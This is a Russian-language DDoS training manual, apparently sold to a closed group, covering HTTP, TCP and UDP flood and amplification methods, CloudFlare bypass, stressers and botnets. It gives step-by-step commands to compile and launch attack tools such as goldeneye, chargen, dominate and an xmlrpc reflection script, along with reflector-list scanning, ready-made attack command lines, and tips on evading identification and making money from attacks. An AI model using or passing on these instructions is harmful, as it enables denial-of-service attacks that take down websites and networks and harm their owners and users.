https://portal.servers.ru/#/cloud/computing/servers/create/?region_id=6&config=FiAAAMGI -спуф за 500р
Я надеюсь вы не настолько глупые, чтобы сливать инфу.Буду благодарен, если этого не произойдёт. А если да, то, группа дел, допиливаюновый приват в 2.0 и набираю новую группу с новой инфой. Проебетесь сами, убив рынок.
Поехали.
ДАННЫЙ МАНУАЛ БЫЛ ПРЕДОСТАВЛЕН ЛИШЬ ДЛЯ ОЗНАКОМЛЕНИЯ. АВТОР НЕ ПРИЗЫВАЕТ ЧИТАТЕЛЕЙК ПРОТИВОЗАКОННЫМ ДЕЙСТВИЯМ.
Для начала пройдемся по плану:
1. Введение
2. Базовая теория
3. Методы DDOS атак
4. Выбор оборудования для DDOS атак
5. Настройка оборудования для DDOS атак
6. Виды защит и как их обходить
7. Безопасность и анонимность
8. Методы монетизации
9. Прочие плюшки
1. Введение
Ты(Вы) полюбому слышал(а)(и) или даже на практике знаком(а) с DDOS атаками.Кто-то видел по новостям, кто-то занимался ну и кто-то просто слышал.
В данном обучении я постараюсь максимально и просто объяснить все, как это делаетсяпрофессионалами.
Настоятельно попрошу вас не атаковать государственные ресурсы и крупныекомпании, особенно банки)))
Коммерческие организации не прощают подобного, в суде грызут жестко.
В противном случае вас может ждать уголовное дело, пусть расследование и затянется накакой-то срок, доказать успеют.Думаю , все понятно, тянуть не буду, перейдем к теории, но сначала вопросыкасательно введения.
2. Базовая теория
Для начала разберем сам термин DDOS. Для этого обратимся к вики, а потом я распишу своими словами.
DDOS - это сокращение английского выражения Distributed Denial of Service, что переводится на русский языккак «Распределённый отказ от обслуживания». Это означает отказ от обслуживания сетевого ресурса врезультате многочисленных распределенных (то есть происходящих с разных точек интернетдоступа) запросов. Отличие DoS-атаки (Denial of Service — «Отказ от обслуживания») от DDOS состоит в том,что в этом случае перегрузка происходит в результате запросов с какого-либо определенного интернет-узла.
А теперь сам:
Давайте представим ситуацию, есть некий Вася и куча бухих бомжей.
Идет Вася по улице, никого не трогает, направляется на работу.
Вдруг, из неоткуда появляется куча бомжей и начинают до него доебываться.
Что делать Васе? Его окружили и не дают пройти, более того, он даже не можетпошевелиться, потому что они озверели и начали его кусать.
Добив его окончательно они резко уходят.
Что остается Васе? Правильно, умирать или ждать скорую.В данном случае ресурс это Вася, а бомжи это наш DDOS.
Хакеры из других сфер и обычные люди часто недооценивают DDOS, но, это иявляется их ошибкой.
К примеру, чтобы дефейснуть сайт мне например понадобится какое-то время. А в данномслучае, когда все настроено, мне достаточно одной команды чтобы уебать банк подкорень.
В случае с дефейсом все могут вернуть назад, а в случае с DDOS-ом, они не смогут дажезайти на сервер, потому что он будет валяться.
Для базовой теории я думаю стоит начать с сетевых моделей. Она есть в паблике, но безнее никуда.Это основы.
В случае с DDOS мы затронем стек протоколов TCP/IP.TCP/IP - это сетевая модель передачи данных, предоставленная в цифровом виде.Данная модель описывает способ передачи данных от отправителя до получателя.
Стек протоколов TCP/IP включает в себя четыре уровня, это:
- Прикладной уровень (Layer 7)
- Транспортный уровень (layer 4)
- Сетевой уровень (Layer 3)
- Канальный уровень (Layer 2)
Давайте теперь по порядку разберем каждый из уровней:
1. Прикладной уровень - протокол верхнего уровня сетевой модели OSI, обеспечиваетвзаимодействие сети и пользователя.Уровень разрешает приложеним пользователя иметь доступ к сетевым службам,таким как обработчик запросов к базам данных, доступ к файлам, пересылке эл. почты.Типы данные: ДанныеФункции: Доступ к сетевым службамПримеры: HTTP, Telnet, FTP, etc.
2. Транспортный уровень - 4-й уровень сетевой модели OSI, предназначен длядоставки данных.При этом неважно, какие данные передаются, откуда и куда, то есть, он предоставляетсам механизм передачи.Блоки данных он разделяет на фрагменты, размеры которых зависят от протокола:короткие объединяет в одни, а длинные разбивает.Типы данных: Сегменты/ДейтаграммыФункции: Прямая связь между конечными пунктами и надежностьПримеры: TCP/UDP
3. Сетевой уровень - 3й уровень сетевой модели OSI, предназначенная дляопределения пути передачи данных. Отвечает за трансляцию логических адресов и имен вфизические, определение кратчайших маршрутов, коммутацию и маршутизацию,отслеживание неполадок и заторов в сети.
Типы данных: Пакеты
Функции: Определение маршрута и логическая адресация
Примеры: ICMP, GRE и др.
Я не описал канальный уровень, почему?Потому что в нашем случае о не пригодится. Для DDOS атак мы будем использоватьатаки на прикладном и транспортном уровне, редко на сетевом.
- На прикладном уровне это будут HTTP методы, на транспортном TCP и UDP
- На сетевом GRE, т.к. ICMP неактуален уже.
А теперь разберем, что мы будем делать с HTTP, TCP и UDP.В случае с HTTP флудом мы будем флудить огромным количеством HTTP Get/Postзапросов, да так, чтобы веб-сервер охуевал по дудосерски.
HTTP - Это соединение, устанавливаемое между клиентом и сервером, для передачиданных по протоколу HTTP. Подключение HTTP идентифицируется как <Исходный IP,исходный порт> и <Айпи приемника, порт приемника>.
На клиентском уровне протокол предоставлен кортежем:
Не удалось прогрузить медиа
Установка соединения между двумя конечными точками - процессмногоступенчатый.
Он включает в себя след. шаги:
1. Расчет айпи по имени хоста DNS
2. Установление соединения с сервером
2. Отправка запроса
3. ожидание ответа
4. закрытие соединения
В случае с UDP и TCP флудом - мы будем флудить огромным количеством пакетов всекунду.
НО, для начала разберем один нюанс. А именно, отличие TCP от UDP.
Если кто из вас не знает, TCP является безопасным протоколом, в отличии от UDP.
Его отличие в том, что он гарантирует доставку пакетов до адресата, в случае с UDP - онне проверяет доставку, его задача лишь отправить.
TCP имеет так называемое "тройное рукопожатие", которое устанавливается междуклиентом и сервером, если описывать кратко происходит это так:
- От клиента идет запрос на создание TCP-сессии и отправляется TCP пакет с флагом SYN.
- Сервер отправляет в ответ TCP пакет с флагами SYN+ACK клиенту.
- Клиент отправляет TCP пакет с флагом ACK серверу.
Теперь давайте разберем подробнее:
1. Клиент, который намеревается установить соединение, посылает серверу сегмент сномером последовательности и флагом SYN.
Дальнейший алгоритм:
- Сервер получает сегмент, запоминает номер последовательности и пытается создатьсокет (буферы и управляющие структуры памяти) для обслуживания нового клиента;
- В случае успеха сервер посылает клиенту сегмент с номером последовательности ифлагами SYN+ACK, и переходит в состояние SYN-RECEIVED;
- В случае успеха сервер посылает клиенту сегмент с номером последовательности ифлагами SYN+ACK, и переходит в состояние SYN-RECEIVED;
- В случае неудачи сервер посылает клиенту сегмент с флагом RST.
2. Если клиент получает сегмент с флагом SYN, то он запоминает номер последовательностии посылает сегмент с флагом ACK.Дальнейший алгоритм:
- Если он одновременно получает и флаг ACK (что обычно и происходит), то онпереходит в состояние ESTABLISHED;
- Если клиент получает сегмент с флагом RST, то он прекращает попытки соединиться;-Если клиент не получает ответа в течение 10 секунд, то он повторяет процесссоединения заново.
Процесс называется «трёхэтапным рукопожатием», так как несмотря на то чтовозможен процесс установления соединения с использованием четырёх сегментов (SYN всторону сервера, ACK в сторону клиента, SYN в сторону клиента, ACK в сторону сервера), напрактике для экономии времени используется три сегмента.
А теперь давайте разберем флаги TCP:
- ACK - Флаг в TCP сегменте, установка которого означает, что поле «Номерподтверждения» задействовано. Если установлен флаг ACK, то это поле содержитпорядковый номер, ожидаемый получателем в следующий раз. Помечает этотсегмент как подтверждение получения.
- RST - Флаг, в заголовке сегмента TCP, включение которого сигнализирует об обрывесоединения.
- FIN - Флаг, в заголовке сегмента TCP, включение которого сигнализирует озавершении сессии.
- SYN - Флаг, в заголовке сегмента TCP, служащий для синхронизация номеров сессийприема/передачи данных. Именно этим флагом устанавливается соединение.
Ну а теперь перейдем к UDP.
UDP — протокол пользовательских датаграмм. Один из ключевых элементов TCP/IP, наборасетевых протоколов для Интернета. С UDP компьютерные приложения могут посылатьсообщения (в данном случае называемые датаграммами) другим хостам по IP-сети безнеобходимос т и предварительного сообщения для установки специальных каналовпередачи или путей данных.
Говоря проще, в отличии от TCP он не проверяет ничего и не устанавливаетсоединение. Он просто отправляет нужную информацию адресатам. Ну и одно из отличий
UDP от TCP - это конечно же скорость, она значительно выше.
Вопросы о методах UDP:
1. Понимание этого хватит? Не нужно заучивать принцип работы пакетов?
--Желания хватит, прочтешь еще раз – поймешь. Заучивать не обязательно, но лучше знать
2. Наверное банальный вопрос но, как тогда досят всякие топ хакерские группировки, что их не находят?
--Анонимность потом
3. Возможно ли с помощью DDOS-a получить доступ к FTP и т.д?
--Нет, доступ к FTP уже взлом, никак не DDOS.
3. Методы DDOS атак.
Методов DDOS немало, поэтому я их разделю на три категории, в зависимости оттипа протокола.
Начну пожалуй с HTTP методов.
1.1. HTTP методы
HTTP Get/Post Flood - Генерируем большое количество HTTP запросов к серверу жертвы. Вбольшинстве случаев это GET запросы на получение максимально больших элементовсайта. Каждый бот может генерировать большое количество легитимных запросов (более10 раз в секунду). Таким образом, не нужно иметь большую армию ботов илисверхприватный ботнет для осуществления данного метода атаки. Кроме GET запросовтакже могут посылаться POST запросы и осуществляться другие HTTP действия,приводящие к одному и тому же результату - перегрузке веб-сервера жертвы и егонедоступности. Реализовать можно даже со своего компьютера/сервера.
HTTP Strong - Генерируется также большое количество HTTP запросов к серверу жертвы, но,отличие этого метода заключается в том, что, отправляются пустые HTTP запросы на вебсервер. Этот метод является очень мощным и соответственно находится в привате. Я хотел его приобрести отдельным скриптом, но к сожалению в СНГ мало людей, которыевообще что-то смыслят в DDOS, а забугром толкают по знакомству. К счастью,протестировать я его смог, арендовав когда-то приватный ботнет на месяц. Метод оченьмощный, и если вам доведется встретить - покупайте.
HTTP Null - Генерируется большое количество HTTP запросов, также пустых, но отличиеэтого метода от Strong'a в том, что HTTP Strong ждет ответа от веб-сервера, а HTTP Null нет.Протестировать также довелось, метод нереально мощный.JSBypass - Метод обходящий заглушку CloudFlare и аналогов. Наверное большинству из васдоводилось встречать такую картину: Заходите вы на сайт, а там 5 секунд крутитсянепонятная картина, вот такая:
Не удалось прогрузить медиа
Это и есть заглушка CloudFlare. Данный метод обходит ее довольно простым образом,парсятся куки и ваша жертва мгновенно падает. Также к данному методу можнодополнительно указать прокси для большей эффективности. В ботнетах встречал крайнередко, с серверов работает идеально.
XML-RPC - Довольно непростой метод. Используя данный метод, запросы будут идти не свашего сервера, а с уязвимых сайтов на CMS WordPress. Т.е. - вы сканите диапазоны, срединих находите уязвимые сайты и при атаке подаете удаленную команду. Метод оченьэффективный, и малозатратный. Так как для его использования вам не нуженботнет или сверхмощный сервер. Достаточно того, чтобы не забанил хостинг-провайдер :)Joomla Reflection - Похожий на XML-RPC метод, принцип работы у них один, но, в данномслучае идет уже не WordPress а CMS Joomla.
Вопросы о методах HTTP :
1. Какой используется чаще всего ?
--HTTP Get/Post самый распространенный. Реже XMLRPC.
2. А атаки на логику работы приложения? Например пройтись по всем разделам и запросам сайтанебольшим ботнетом, считывая скорость ответа приложения, после фаззингом выявлять самые тяжёлыеместа приложухи и целенаправлено по ним атаковать?
--Не имеет особого смысла, если есть ботнет. Ботнет априори уебет что угодно. Но имеет смыслесли ботнет крайне мал. POST флуд лучше, например на регистрацию. Но если стоит проверка по типу капчи- смысл пропадает. Только если не найдёшь скуль инъекцию в ней
3. Ну так в этом и прикол, если ботнета нет, то через какой-нибудь Apache Bench можно найти, например,хуёво работающий кэш БД и через определённые запросы в поисковике сайта в одно лицо втащить
4. Какую актуальнее выбрать?
--XMLRPC живее всех живых, опять таки на днях Сахарный им положил РКН.HTTP флуд всегда будет актуален-это основа Layer 7 XMLRPC, а не Joomla и будет счастье. Ну и JSBypassкогда увидите Клауд с заглушкой
5. Что за лист бля))
--Потом расскажу что за лист
Я описал самые популярные и часто используемые методы, как реализовать большинствоя буду описывать уже в следующих этапах по плану.
Теперь я хотел бы поговорить о TCP методах, их довольно таки не много, в отличииот UDP, но тем не менее транспортный уровень решил затронуть начиная с TCP.
Большинство атак на транспортном уровне реализуются за счет IP спуфинга.
1.2. Методы TCP
IP спуфинг - это кратко говоря подмена обратного IP адреса. Который позволяетобманывать систему, подменяя адрес отправителя. Именно благодаря IP спуфингуневозможно вычислить атакующего.
SSYN - (Spoofed SYN) В данном случае, мы посылаем поддельные SYN-запросы на сервер,подменяя адрес отправителя (Спуфинг). Ответный SYN+ACK отправляется нанесуществующий адрес, в результате в очереди подключений появляются так называемыеполуоткрытые соединения, ожидающие подтверждения от клиента. По истеченииопределённого тайм-аута эти подключения отбрасываются. Метод очень эффективный иактуальный по сей день. От него могут защититься, но в СНГ мало у кого на это хватит ума.
SYN-ACK Flood - В данном случае, во время SYN-ACK флуда мы заваливаем поддельнымиSYN-ACK пакетами, поступающими в большом количестве. Пытаясь принять решение покаждому SYN-ACK пакету и сопоставить его с одной из записей, хранящихся в таблицесоединений, сервер жертвы выделяет на это вычислительные ресурсы (ОЗУ, проц, ипр.) для обработки потока поддельных SYN-ACK пакетов. В итоге происходит то же, что и вовремя SYN-флуда: перегрузка сервера жертвы, ведущая к его частичной недоступности илиполному пизд*цу.
Dominate - В данном случае идет большое количество TCP пакетов с разными флагами, напрактике этот метод показал большой успех.
xMAS - Данный метод бьет по закрытым TCP портам и жестко добивает процессор,заставляя их буквально плавиться.
RST/FIN Flood - В данном случае, чтобы закрыть TCP-SYN сессию, между клиентом и хостомпроизводится обмен RST или FIN пакетами. Во время RST или FIN флуда сервер жертвы навысокой скорости получает поддельные RST или FIN пакеты, не имеющие отношения клюбой из сессий в базе данных сервера. Во время RST или FIN флуда сервер жертвывынужден выделять значительное количество системных ресурсов (опять таки этооперативная память, проц и пр.) для сопоставления входящих пакетов с текущимисоединениями, что приводит к потере производительности сервера и к его частичнойнедоступности.
ACK Flood - В данном случае, при фрагментированном ACK флуде используются пакетымаксимально допустимого размера (например, 1500 байт) для заполнения значительнойполосы пропускания канала при относительно небольшом количестве передаваемыхпакетов. Фрагментированные ACK пакеты обычно легко проходят через роутеры,файрволлы и системы предотвращения вторжений, т.к. эти устройства не пересобираютфрагментированные пакеты на сетевом уровне. Как правило, такие пакеты содержатслучайные данные. Поскольку целью злоумышленника является заполнениявсей полосы пропускания внешних каналов сети жертвы, данный вид флуда снижаетпроизводительность всех серверов в атакуемой сети.
ESSYN - По сути метод TCP SSYN, но был переписан Starfall'ом в 2013 году. Ходят слухи, чтоон эффективнее. Видимо, это не слухи.
xSYN - Также метод TCP SSYN, но был также переписан Starfall'ом в 2013 году.
Вопросы о методах TCP :
1. Как определить, какой метод подходит? То есть, понятно, что задача *положить*, а вот можно липробить с первого раза или же это только методом тыка делается?--Методом тыка. Бывает что сайты ставят те же syn-coockie, которые не сразу заметишь ифильтруется, вжухно мозгов в СНГ мало, и все тупые. + смотря какая защита, но об этом позже.
2. Можно ли нескольно одновременно использовать?)
--Да :)Но смысл запускать сразу несколько, если можно запустить dominate:)
3. Какой из вариантов тяжелее отбивать куратору, клоудфлеру и т.п.?
--ACK.
Я постарался как можно доступнее описать методы TCP чтобы начать долгое путешествиепо методам UDP.
1.3. Методы UDP
UDP Flood - Во время UDP флуда сервер жертвы получает огромное количество поддельныхUDP пакетов от большого диапазона IP-адресов. Сервер жертвы или сетевое оборудованиеперед ним оказывается переполненным поддельными UDP пакетами. Атака провоцируетперегр узку сетевых интерфейсов путем занятия всей полосы пропускания. Впротоколе UDP нет понятия об установлении соединения (хэндшейк), как в TCP. Это делаетфильтрацию UDP флуда с сохранением легитимного UDP-трафика крайне сложной задачей,а также эффективным средством для переполнения канала. UDP флуд поражаетсеть пакетами, содержащими случайные или статические IP-адреса, и может бытьреализован с целью выведения из строя сервера, используя информацию о нем, такую какцелевой порт легитимного сервиса и IP-адрес назначения. Из-за наличия сложностейпроверки UDP трафика (отсутствие механизма проверки сессии как с TCP), многиеоператоры связи предлагают своим клиентам блокировку трафика по различнымкритериям, что является по сути спасением сети за счет блокировки отдельных серверов.
NTP Амплификация - Это тип DDOS атаки транспортного уровня, при котором публичнодоступный NTP (Network Time Protocol) сервер используется для генерации “мусорного”трафика. Так, отправляя короткие запросы одному из открытых NTP серверов можнополучить ответ в десятки раз большего объема (эффект амплификации). Этим мы ипользуемся, отправляя запросы с указанием адреса сервера-жертвы в качестве IP-адресаисточника запроса. В итоге сеть сервера жертвы перегружаются “мусорным” UDPтрафиком, из которого достаточно сложно выявить легитимные запросы и ответы NTP.Реализовать данный метод проще простого, как и все методы амплификаций. Данныйметод использует 123 порт.DNS амплификация - Этот тип DDOS атаки транспортного уровня использует спецификуработы DNS служб в сети. Суть заключается в том, чтобы запросить у публичного DNSсервера данные о домене и направить его ответ на атакуемый сервер. При реализацииданного вида атаки мы формируем и херачим запрос, в ответ на который DNS-сервервозвращает как можно больше данных. Например, запрос списка всех DNS-записей вопределенной зоне. Т.к. в протоколе UDP не осуществляется проверка IP-адресовисточника, хуярим короче генерацию запросов от имени сервера жертвы, указывая его IPадрес в поле исходящего адреса. Основной целью тут является заполнение канала серверажертвы объемными ответами от публичных DNS-серверов. Так, используя хороший листдля генерации запросов к публичным DNS-серверам, мы можем увеличить потокгенерируемого “мусорного” трафика до 100 раз. При этом вычислить нас или вычислитьхотя бы IP-адреса генераторов запросов почти невозможно, т.к. реальный исходящий IPадрес всегда заменяется на другой. Метод хоть и староватый, но живет и по сей день.Данный метод использует 53 порт.Chargen амплификация - Этот тип DDOS атаки транспортного уровня работает также, как иNTP амплификация, только отправляются запросы на сервера использующие службуChargen. Данный метод практически ничем не отличается от других амплификаций, ну иеще используется другой порт, 19. Данный метод также легко реализовать имеяспуфинг.SSDP амплификация - Данный метод является базируемым протоколом UDP,использующий для усиления универсальные устройства Plug and Play, что позволяетотправлять запросы, используя порт 1900. SSDP является одним из сильнейших методов,превосходящий по мощности NTP, DNS, Chargen и др.VSE - Этот тип DDOS атаки транспортного уровня нацелен на атаку серверов Valve. Оченьэффективен и используется также для других игровых серверов, юзает порт 27015.
Вопросы о методах UDP :
1. А MEMCACHED амплификация?:grin::grin:
--Свежая, не изучил еще. Допилю как изучу
2. Там как и с любой амплификацией UDP - всё просто. Лучше написать в целом что это такое. Амплификация или плечоDDOS, это поиск любого массово используемого ПО работающего с UDP по дефолту, размер ответа которого будетмногократно превышать запрос
--Обычно усиление минимум х20, иногда х50
3. И чем больше превышение, тем можно более редкое ПО искать, например малоппулярный сервис, но отдающий поUDP сотни 2 килобоайт на один запрос может быть в сто раз привлекательней NTP амплификации
4. А про низкоинтенсивные импульсные L7 атаки, например?
--Слишком сложно будет для них Low-rate DoS, расчитано то на новичков, им бы это понять
4. ВЫБОР ОБОРУДОВАНИЯ ДЛЯ DDOS АТАК
Это самый важный по моему мнению раздел, так как на этом этапе вы выбираете своюобразно говоря "пушку", с которой будете стрелять. И насколько сильно, зависит от того,что вы выберете.
Хотел бы начать данный раздел с менее затратного и соответственно менее мощного.
Это скрипты для Windows/Linux для DDOS атак и Windows софт. Данным способом новичкам можно легко класть незащищенныесайты, так как нет абсолютно никаких затрат, и при этом есть результат. Раньше подобныхсофтов было много, если кто помнит из старой школы - Лоики, Хоики, анонимусдосеры, мумми досеры и пр.; Сейчас данные софты неактуальны и ими можно забить лишьсобственный канал, но, благо, выход пока что есть. И если ты новичок - этот способ для тебя.
Второй выбор это сервера. Для начала разберемся, какие сервера бывают.
Бывают сервера:
1. Спуф
2. Нон-спуф.
Что такое спуф?
Спуф - это IP спуфинг (т.е. подмена обратного IP адреса).
Серверами со спуфом мы сможем проворачивать амплификации и TCP методы.Удобно? Безусловно.
Нон-спуф серверами мы сможем проворачивать Layer 7 атаки, такие как: GHP Flood,XMLRPC, Joomla, JSBypass и др, а также Layer 4 нон-спуф атаки, такие как: UDP/TCP Flood.Удобно? Опять-таки безусловно.
Как это бьет по карману? Спуф сервера конечно же бьют больше. Так как для нон-спуфсерверов достаточно сервера, который не забанят за скан. А там уже с насканненымиданными можно атаковать абсолютно с любого сервера. Так как в случае с XMLRPC и Joomla- трафик идет не с вашего сервера.
Но, спуф сервера мощнее, хоть и стоят дороже. Спуф методы не получится провернуть наLayer 7 серверах. Они тупо не сработают. Под скан спуфа также нужен отдельный сервер,который не забанят за скан. Обычно мне хватало дешевой VPS-ки за 4-5 евро.
Что сложнее использовать? И то, и другое легко использовать, если набить руку. Анабить руку вы сможете, изучив следующий раздел.
Третий способ это стрессеры, ну или как их любят называть скиды - панельки. Длятех, кто не знает, это такие сервисы, которые предоставляют в аренду мощь своихсерверов/ботнетов за определенную плату. Оплачивается нужный тариф, которыйвключает в себя: количество одновременных атак, мощность (если таковой выбор имеется)и конечно же бут-тайм (некий таймер атаки, который устанавливается каждый раз призапуске). Цены варьируются в зависимости от бут-тайма и мощности. В большинствеслучаев обходится дешевле спуф серверов, т.к. в данном случае вы используете мощьспуф/нон-спуф серверов сервиса, а не своих. Это очень выгодно и удобно для новичков, таккак не нужно ничего сканить и ухаживать за сервером. Купили, ввели жертву, запустилиатаку. ????? ПРОФИТ.
Ну и завершающий способ - это конечно же ботнеты. Для тех, кто не знает, ботнет это сетьиз зараженных устройств. Ботнеты бывают разных видов и с абсолютно разнымфункционалом. О них мы поговорим в следующем разделе, а сейчас хотел бы короткорассказать о плюсах ботнета.Из плюсов это конечно же мощь, такую мощь не выдадут ни сервера, ни что другое.Благодаря данной мощи можно смело рубить бабки сидя ровно.Из минусов это конечно же затраты, в первую очередь на инсталлы, аренду сервера икрипт. Также за ботнетом нужно ухаживать, если его оставить без присмотра - он умрет :(Нужно хотя бы раз в неделю делать рекрипт, иметь буллетпруф сервер иабузоустойчивый домен. Если у вас найдутся затраты на такое - это все окупится безпроблем.
ВОПРОСЫ, КАК ДОЧИТАЕТЕ
(На ботнете можно заработать не только с DDOSа)
1. Какие ботнеты норм? Сколько детектов максимум, и я так понял надо рантам крипт
--Соррика.
2. А тема с сервисами нагрузочного тестирования не работает уже?
--Стрессеры работают :)
3. Скок по цене в среднем?
--От 5$ до 10000000. От 5 бачей. бомж DDOS
4. Сколько нужно Пк чтобы средний сайт положить. Допустим дарквеб
--Дохуя) Их клауд пинали как могли, StormWall, впрочем, тоже, но реже--Много, но есть хитрости, например можно узнать IP сайта в обход клаудфлера, посмотреть у когохостится и найти другие проекты без клауда у того-же провайдера и атаковать туда, либо найти лазейку вобход клауда напрямую изучив DNS через AXFR и найдя сервис какой-нибудь на поддомене
5. Штормвалл какой атакой можно положить
--Смотря какой ботнет. Каждый ботнет выносит трафф по разному, т.к. от кода еще зависитТого же соррика Курияма Соррика хорошо вывозит л7. 1000 ботов и ты уебешь РКН на месяцокдругой с 1000 потоков л4 хромает, починим
6. Будут способы как бить по дин ип жертвы. чтоб не мог выйти норм в сеть?
--Если в скайпе – да. А так... нет,но лично когда меня ебали я перезагружал и один х*й не вставалвозможно уебали провайдера
5. НАСТРОЙКА ОБОРУДОВАНИЯ ДЛЯ DDOS АТАК
Ну и начнем данный раздел со скриптов и софтов.
Для начала хотел бы рассказать о скриптах на питоне, а именно: Sadattack и Goldeneye.Скажу сразу, запускать их можно как и на Windows, так и на никсах (Unix машины).
Данные скрипты отлично справляются с незащищенными сайтами. Можно дажевыставлять кастомно юзерагенты, количество потоков, метод (GET/POST/Рандом) и др. (вовтором скрипте).
Для того, чтобы пользоваться данным скриптом на Win, вам нужно установить Питончикверсии 2.7, его можно скачать на официальном сайте https://python.org/
Далее, установив, заходим в cmd и прописываем путь к файлу, в моем случае это:
cd Desktop
goldeneye.py
Не удалось прогрузить медиа
Вылезает инструкция к использованию, и приступаем к атаке, пишем:
goldeneye.py http://site.ru/ -w 20 -s 1000 -m GET
В вашем случае, можете просто написать: goldeneye.py http://site.ru/ и атака начнется сдефолтным конфигом (10 воркеров, 500 сокетов, метод GET)
Запускать sadattack нужно почти также, только указывать скрипт и URL сайта иатака запустится.
Закончив со скриптами я хотел бы поговорить о софтине под Windows, а именно:Fastream Web Stress Tester (Хотя, эта программа довольно таки старая, и что меня удивляет- она все еще умудряется работать)
Софтинка написана на ЯП С++,
Валяется вместе с исходниками.
Можно кастомно выставлять потоки, метод атаки и тип подключения.Можно вставить прокси и идти в бой.
Не удалось прогрузить медиа
По мощности: Смог положить даже некоторые защищенные сайты, имея не совсем уж ихороший интернет. Нагрузка в первую очередь идет на канал и проц.
Также хотел бы затронуть недавно написанный Сорриком мини-дудос бот подWindows написанный на C#.
Сама статейка - http://telegra.ph/Pishem-DDOS-bota-na-C-CHast-1-02-04
В итоге, выходит по дстату –
Не удалось прогрузить медиа
Оччеееень годно.
Довольно таки мощно, компильте и в бой, лучшее решение бесплатного доса.
Хочу отметить то, что в случае бесплатного доса у вас идет онли HTTP трафик. Доситьвы сможете только L7 запросами.
ВОПРОСЫ:
1. Скорее ещё одна софтина, https://tech.yandex.ru/tank/ , он под нагрузочное тестирование в рамкахлегитимного TCP/IP заточен, но позволяет выявить медленные участки кода атакуемого приложения вхудшем случае, в лучшем в одно рыло внести сайт, если таам бага есть в каком-то разделе
--Полезно. Я тя бля наверное лектором возьму. Будешь вместо меня тут распинаться
2. Эт все оборудование? А мощные DDOS атаки?
--Нет, это лишь точка в океане
3. Я бы добавил вот что, перед атакой нужно изучить всё, поддомены, почтовые сервера, админки, хостингпровайдера, CDN и так далее, собрать всё-всё о сайте, а после уже тыкать туда, куда эффективней)
--Опережаешь события.Они еще не умеют толком DDOSить
А ТЕПЕРЬ ПОЖАЛУЙ ПЕРЕЙДЕМ К НАСТРОЙКЕ СПУФ СЕРВЕРОВ.
Для начала нам нужно арендовать спуф сервак с ОС Debian, 7 или 8 - на выбор.
Итак, арендовали? Выдали? Хорошо.
Теперь качаем софтину Putty для подключения к нашим сервакам по SSH.
Логинимся под рутом:
Не удалось прогрузить медиа
При вводе пароля - он не отображается. Это линукс, привыкайте.
Не удалось прогрузить медиа
Итак, а теперь вписываем по 1 команде и ждем завершения, а потом вписываемвторую и т.д.:
apt-get update -y
apt-get upgrade -y
apt-get install gcc screen glibc wget -y
Итак, а теперь заливаем скрипты. (Все ссылки я укажу в самом конце)
Залили? Отлично, теперь нужно скомпилировать нужные скрипты. Большинствоскриптов компилятся одинаково, я покажу на примере Layer 4 скриптов, а именно Chargen.
Пишем команду:
gcc -pthread chargen.c -o chargen
Итак -
gcc - это компилятор
pthread - библиотека
chargen.c - исходник
chargen - семпл
Не удалось прогрузить медиа
Итак, видим что появился новый файл - chargen. Теперь, чтобы мы смогли егозапустить, выдадим ему права 777, командой:
chmod -R 777 chargen
В случае если вы скомпилили кучу скриптов, просто вводите: chmod -R 777*
Чтобы выдать права всем сразу
Не удалось прогрузить медиа
А теперь давайте попробуем запустить его.
Не удалось прогрузить медиа
Как видим, он выдал ошибку, что неверно указаны параметры. Давайте на нихподробнее и остановимся.
./chargen - команда запуска скрипта
<Target IP> - IP нашей жертвы
<Target Port> - Атакуемый порт
<reflection file> - Лист с открытыми серверами (как их добывать я опишу ниже)
<threads> - потоки (не рекомендую ставить много, так как ваша тачка может загнуться,экспериментируйте)
<pps limiter, -1 for no limit> - Лимитер пакетов в секунду (PPS - packets per second), ставимпо дефолту всегда -1
<time>- Время нашей атаки, всегда указывается в секундах.
А теперь давайте соберем команду нормально:
./chargen 127.0.0.1 80 list.txt 100 -1 9999
Запускаем, и вуаля - DDOS пошел.
Запуск у большинства скриптов похожий, поэтому сначала вписывайте./НазваниеСкрипта и смотрите какие параметры нужны каждому.
Добыча листов будет также на примере метода Chargen.
Компилим сканер, в моем случае это:
gcc -pthread chargen_scan.c -o chscan
Права 777:
chmod -R 777 chscan
И запуск.
./chscan
Не удалось прогрузить медиа
Смотрим, что требует:
<ip range start (192.168.0.0)> - Начало диапазона
<ip range end (192.168.255.255> - Конец диапазона
<outfile> - выходной файл
<threads> - потоки
<scan delay in ms> - задержка в миллисекундах
Также соберем нормально команду:
./chscan 95.0.0.0 95.255.255.255 list.txt 10 1000
(СКАН ЗАПУСКАТЬ НА СЕРВЕРАХ, КОТОРЫЕ НЕ БАНЯТ ЗА СКАН ( АБУЗ) )
Итак, лист есть - идем в бой.
А теперь пожалуй расскажу как компилим TCP скрипты и идем в бой.
Для них листы не нужны.
Для примера возьму метод Dominate.
Итак, скомпилили, запускаем,
./dominate
смотрим что требует:
Не удалось прогрузить медиа
Почти также, как в UDP. Только не указывается лист.
Ну вот, спустя такое количество времени вы уже можете брать сервер и атаковать. Приэтом, вы знаете, что и как работает, как и что настраивать. А теперь можете задать вопросыкасательно настройки спуф тачек, и мы перейдем к настройке нон-спуф серверов.
Листы = текстовики, содержащие нужные записи и пэйлоад. В случае с DNS - открытыеDNS резолверы, в случае с NTP - сервера времени и т.д.
ВОПРОСЫ
1. Скрипты актуальны на сегодня?
--Да. При хорошем раскладе можно ебашить с одного сервера до 40 гбпс
2. https://habrahabr.ru/post/331720/ эт хоть оставь, тем кто задрочиться в теме хочет
- пригодится
3. Нужны ли они? Если я допустим куплю любой ботнет, наберу пк, мне же его одного по идее хватит илинет?
--Хватит, но ботнет держать тяжело, сервера легче, дешевле
4. Будут советы, где скамить можно, а где нет?
--Да
5. Напиши хоть про то, что ОБЯЗАТЕЛЬНО через Putty нужно подключаться с тор прокси, а с linuxтерминала через torsocks. А то с первого DDOSа можно на бутылку присесть
--Да хватит впн'а или дедика,а лучше впн а заходить туды с дедика hostbubble.netшаред RDP за 600 рублей
Настройку нон-спуф серверов я думаю пожалуй начать с XMLRPC.
Берем сервер который не забанят за скан, ОС выбираем Debian 8.
Логинимся и пишем:
apt-get update -y
потом:
apt-get upgrade -y
apt-get install php curl php-curl wget gcc screen -y
И заливаем скрипты через SFTP.
И компилим вот такой командой:
gcc xmlrpc.c -Wall -ggdb -fopenmp -o xmlrpc
Выдаем права как обычно:
chmod -R 777 xmlrpcИ запускаем:./xmlrpc
И видим:
Не удалось прогрузить медиа
Если имеется лист - запускаем ;)
./xmlrpc http://site.ru/ list.txt 1200 100
Если листа нет - сканим.
Поехали.
Запускаем мы такие скрипт, а там такое:
Не удалось прогрузить медиа
